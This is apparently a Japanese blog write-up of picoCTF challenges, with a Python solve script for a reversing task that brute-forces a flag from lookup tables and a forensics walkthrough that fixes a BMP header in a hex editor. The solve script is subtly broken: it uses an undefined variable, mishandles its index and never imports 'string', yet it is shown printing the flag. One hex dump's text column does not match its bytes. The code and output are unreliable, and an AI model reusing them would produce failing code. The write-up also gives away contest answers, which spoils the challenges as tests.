data = [[-91, -32, -126, 8, 104, 56, 22, -3, -67, -83, 20, 126, -85, 30, -21, -90, -49, 54, 55, -52, -23, -120, 79, 58, -61, 6, 93, -81, -107, 15, -77, 88, -110, -4, -116, -27, 96, 43, -62, 105, 102, 34, -72, 13, -17, -124, 95, -96, -41, 110, 42, -53, 70, 44, -15, -79, -87, -34, -43, -73, -50, 57, 98, -24, 112, 12, 33, -58, 100, 125, -69, -63, -104, 32, 2, -1, 127, 85, 107, 108, -12, 84, -16, 86, -55, 87, -99, -48, -59, -127, 67, 103, -33, -8, 71, -75, 121, -97, 60, 31, -100, 24, -128, -102, -115, 48, -39, -108, 47, 66, 80, 53, 116, 17, -114, 78, -60, 4, -80, -31, 92, 61, 114, -57, 25, 106, 77, 73, 3, 21, -111, -103, 26, 5, -64, -25, 82, -117, 111, 89, -7, -123, -45, -68, 37, -51, -74, -37, -20, 91, 123, -10, -86, 115, 29, -2, 38, 65, 62, -93, 83, -19, 90, 52, -22, -84, 23, -112, 16, 51, 99, -89, -46, 118, -9, -66, -125, 74, 122, 10, -36, 69, -42, 72, -18, 36, -14, 68, 18, 49, 28, 50, -38, 94, 35, 45, -88, -92, 0, 27, 64, 120, 101, 124, 113, -40, -121, -35, 1, 59, 75, -65, 39, 97, 109, 11, -95, -29, -47, 81, -98, -44, -5, -82, -6, -13, -76, 14, -54, -109, 9, -56, -71, -105, 117, 76, -28, -106, 63, -101, 119, -26, 41, 19, 7, -78, 46, -119, 40, -30, -94, -113, -118, -122, -11, -70], [105, 2, 100, 19, 75, -46, -28, -11, -124, -20, -64, -31, 72, 18, 91, -108, -75, -117, -19, 101, 87, -48, 15, 62, 55, -120, -45, -32, 52, -24, 45, -101, -83, 70, 42, 31, 89, 46, 108, -56, 14, -34, 106, -74, 121, -121, 34, -105, -59, 20, 25, -35, -63, -73, -112, 66, -77, -21, -25, 23, 77, 85, -2, 13, -10, 51, -58, -26, 109, -30, -79, 3, 71, -13, 38, -4, 22, 27, -62, 40, 7, 96, -84, 118, -115, 111, 97, -53, 107, -128, -99, 21, -81, 56, -80, -47, -44, 88, 61, -125, -5, -90, 26, -93, 115, 120, 36, -27, 65, -22, -52, 63, -7, -113, -66, -97, 110, 68, 73, -69, -89, 76, 64, -78, -14, 49, -54, -41, -23, -72, 114, -71, 84, 50, 92, -43, -57, 74, 17, 8, -70, 117, -36, -67, 125, 24, 98, 39, -111, -118, 116, -51, 53, -104, 123, 5, -61, 67, -91, -15, 41, -1, 113, -29, 78, 82, 37, 81, -60, 47, 30, -107, -85, 102, 86, -110, 127, 10, 32, -38, -109, -42, -76, 57, 16, -98, -40, -68, 4, -50, 93, -114, -116, 58, -87, 0, -33, -6, 59, 103, 104, 83, 122, -94, 69, 79, 124, 6, -92, -127, 28, -119, -39, -96, 44, 33, -106, -95, 95, 119, -82, -122, -126, -100, -86, -12, -37, -49, -65, -88, 99, -8, 11, 9, 60, -55, -17, -16, 43, 90, -18, -103, 1, 48, -123, 94, 126, 54, 29, -3, 80, 112, 12, -102, 35, -9], [-50, 106, -21, -59, 71, 22, -24, -36, -116, 57, -81, -77, 31, -61, 104, 126, -3, 16, -38, 60, 30, 21, 87, -93, -29, -88, 78, 5, 10, 118, 116, -32, -105, 119, -109, -97, 123, 113, 49, -11, 59, -84, -76, -101, -58, 94, -102, 55, 34, 1, -44, -103, -121, -28, -83, -89, 107, 36, 20, 100, 98, -22, 82, 124, 56, 92, -52, -4, 35, 84, 72, 37, 9, -107, 46, -79, 52, -31, -1, 23, 58, -17, -55, 80, 62, -5, 114, -48, 77, 42, 75, -90, -12, -123, -54, 0, 48, -63, 108, 70, 53, -35, -124, -108, 47, 86, -23, 109, 85, 6, -117, 54, -98, 93, -43, 63, -112, 96, 103, -10, -120, -80, 121, -40, -95, -6, 2, -115, 73, -15, -127, -126, -71, 67, 105, -18, 91, 4, -30, 97, 14, -73, -64, -16, 40, -87, 115, -125, 28, -66, 76, 19, 117, -111, 27, -51, -67, 127, 12, -122, 26, -92, -46, -118, -9, 68, 69, -85, 50, 66, -49, -34, 25, -114, 79, 111, 110, -57, -72, -19, -91, 65, -56, 41, 13, -106, 89, 99, -42, -70, -8, 61, -37, -99, 120, -104, 38, -94, -2, 44, -68, 39, -119, 3, 81, -45, 17, -39, 101, -25, -26, 51, 15, -110, -75, -100, -65, -53, 24, 112, -60, 7, -82, 125, -78, 45, -113, -62, 32, -14, -86, 64, -41, 18, 29, -74, 88, 90, -96, 43, 74, -13, 11, -7, 95, 8, -33, 122, -20, 102, -69, -27, 83, -47, 33, -128], [17, -125, 77, 111, 26, 10, -111, 53, 95, 62, -128, 20, -87, -38, -10, 85, -44, -32, 1, -82, 119, 9, 33, 101, -101, -86, 86, -94, 112, 16, -66, -122, -15, 19, 117, 25, 30, 103, 7, -14, -107, 37, 124, 105, -17, -2, 68, 15, 113, -61, -19, -18, 106, -89, -48, -78, 76, 89, 44, -29, 47, -106, 127, -30, -91, -23, -52, 43, 12, 118, -56, -108, 73, -69, 23, 2, -20, -116, 100, 11, 4, -53, -70, -90, 27, 79, 21, 121, -105, -126, 65, -67, 116, 75, -71, 98, -26, -57, -64, 84, 80, -109, -9, -96, 0, -25, -84, 3, -36, 90, -27, -63, 29, 126, 60, 42, 74, -42, 108, -39, -37, -77, -93, 71, 81, 32, 6, 91, -1, -103, 41, -3, -60, -95, -5, -123, -79, -34, 40, -35, 102, 52, 88, 36, -59, -115, -22, -58, 96, -13, -31, -97, -49, 35, -81, 46, 64, 92, 125, 24, -62, 115, -51, -83, 67, -127, -112, 34, 94, 45, -75, -11, -16, -104, 38, -45, -7, 107, -76, -43, 28, 31, 57, -98, -74, -100, -120, 69, -46, 61, -88, 82, -47, 70, 22, -54, -12, 110, 120, 104, 8, 56, -119, -55, -110, 13, -85, -80, 54, -33, 58, 99, -6, 39, -68, -92, -72, 50, 78, 14, 123, 114, 109, 83, 93, -41, -114, 55, 87, 48, -121, -21, 66, 18, -102, -65, 59, -24, -28, -73, 63, 97, -50, 5, -40, -4, -8, 49, -124, -99, 51, -117, 122, -113, 72, -118]]

data_idx = [[12, 25, 31, 15], [31, 12, 8, 27], [17, 3, 6, 25], [22, 14, 9, 19], [1, 11, 21, 22], [10, 7, 30, 8], [15, 18, 29, 4], [5, 22, 22, 24], [19, 31, 18, 20], [3, 19, 10, 14], [26, 30, 27, 11], [20, 21, 19, 9], [6, 23, 16, 10], [16, 9, 1, 2], [0, 24, 14, 6], [24, 0, 24, 23], [8, 5, 12, 17], [11, 28, 7, 18], [23, 29, 15, 3], [4, 16, 2, 13], [9, 27, 17, 12], [21, 1, 20, 26], [18, 15, 23, 7], [13, 8, 11, 5], [7, 6, 26, 31], [30, 20, 28, 28], [2, 13, 13, 30], [28, 17, 0, 0], [25, 2, 3, 1], [27, 4, 25, 21], [29, 26, 5, 29], [14, 10, 4, 16]]
target_idx = [8,0x19,0x1b,0x1c,0x11,0xe,0xc,0xf,2,0x15,0x10,9,0x13,10,0xd,6,0x16,0,0x1e,1,4,0x1a,0x1d,3,0x1f,0x14,0x18,7,0xb,0x17,5,0x12]

expected_dat = [31, -103, 80, -62, -72, 34, 58, -53, 69, -89, -82, -53, -98, 32, -49, 72, 5, 123, 123, -72, -51, -103, 70, -12, -49, -26, 119, -51, 43, -26, 119, 123]
indices = [0x19, 0x00, 0x0e, 0x13, 0x17, 0x01, 0x1d, 0x1b, 0x1a, 0x0c, 0x1f, 0x06, 0x0a, 0x0f, 0x1e, 0x07, 0x0b, 0x05, 0x16, 0x10, 0x15, 0x03, 0x14, 0x08, 0x1c, 0x0d, 0x11, 0x02, 0x09, 0x04, 0x18, 0x12]

plain_indices = [0x61,0x48,0x56,0x5b,0x5f,0x49,0x65,0x63,0x62,0x54,0x67,0x4e,0x52,0x57,0x66,0x4f,0x53,0x4d,0x5e,0x58,0x5d,0x4b,0x5c,0x50,0x64,0x55,0x59,0x4a,0x51,0x4c,0x60,0x5a]
plain_indices = [p - 0x48 for p in plain_indices]

expected = [expected_dat[i] & 0xff for i in indices]

expected_map = dict([(p, e) for p, e in zip(plain_indices, expected)])

def nth_FUN001054e0(n, c):
    idx = n
    buf = ord(c)
    for i in range(4):
        for di, d in enumerate(data_idx):
            if d[i] == tmp:
                break
        idx = target_idx[di]
        buf = data[i][buf] & 0xff
    return buf, idx
    
flag = bytearray(0x20)

for i in range(32):
    for c in string.printable:
        p, idx = nth_FUN001054e0(i, c.encode())
        if p == expected_map[idx]:
            flag[i] = ord(c)
            break
            
print("picoCTF{" + flag.decode() + "}")
$ python solve.py
picoCTF{t1mingS1deChann3l_9GrRhPdQgJ9XGi}

Forensics

tunn3l v1s10n

tunn3l_v1s10nというファイルが渡されます。とりあえずxxdで16進ダンプしてみます。

$ xxd tunn3l_v1s10n | head -n 3
00000000: 424d 8e26 2c00 0000 0000 bad0 0000 bad0  BM.&,.....<...(.
00000010: 0000 6e04 0000 3201 0000 0100 1800 0000  ..n...2.........
00000020: 0000 5826 2c00 2516 0000 2516 0000 0000  ..X&,.%...%.....

最初の2バイトがBMとなっているのでbmpファイルだとわかります。しかし、開こうと思っても開けません。

ヘッダをよく見ると11,12バイト目の部分と15,16バイト目の部分がおかしくなっています。bmpファイルフォーマットについて調べて、以下のように修正すると開けるようになりました。

$ xxd tunn3l_v1s10n | head -n 3
00000000: 424d 8e26 2c00 0000 0000 3c00 0000 2800  BM.&,.....<...(.
00000010: 0000 6e04 0000 3201 0000 0100 1800 0000  ..n...2.........
00000020: 0000 5826 2c00 2516 0000 2516 0000 0000  ..X&,.%...%.....

f:id:miso_24:20210408185510j:plain

しかし、notaflag{sorry}と書かれているだけでフラグが見つかりません。

そこで、ファイルサイズに対して画像のサイズが小さいことが不思議だったのでヘッダを適当に弄っているとフラグが出てきました。以下は修正後の16進ダンプです。32015203に変わっています。

xxd tunn3l_v1s10n.bmp | head -n 3
00000000: 424d 8e26 2c00 0000 0000 3c00 0000 2800  BM.&,.....<...(.
00000010: 0000 6e04 0000 5203 0000 0100 1800 0000  ..n...R.........
00000020: 0000 5826 2c00 2516 0000 2516 0000 0000  ..X&,.%...%.....

f:id:miso_24:20210413212239p:plain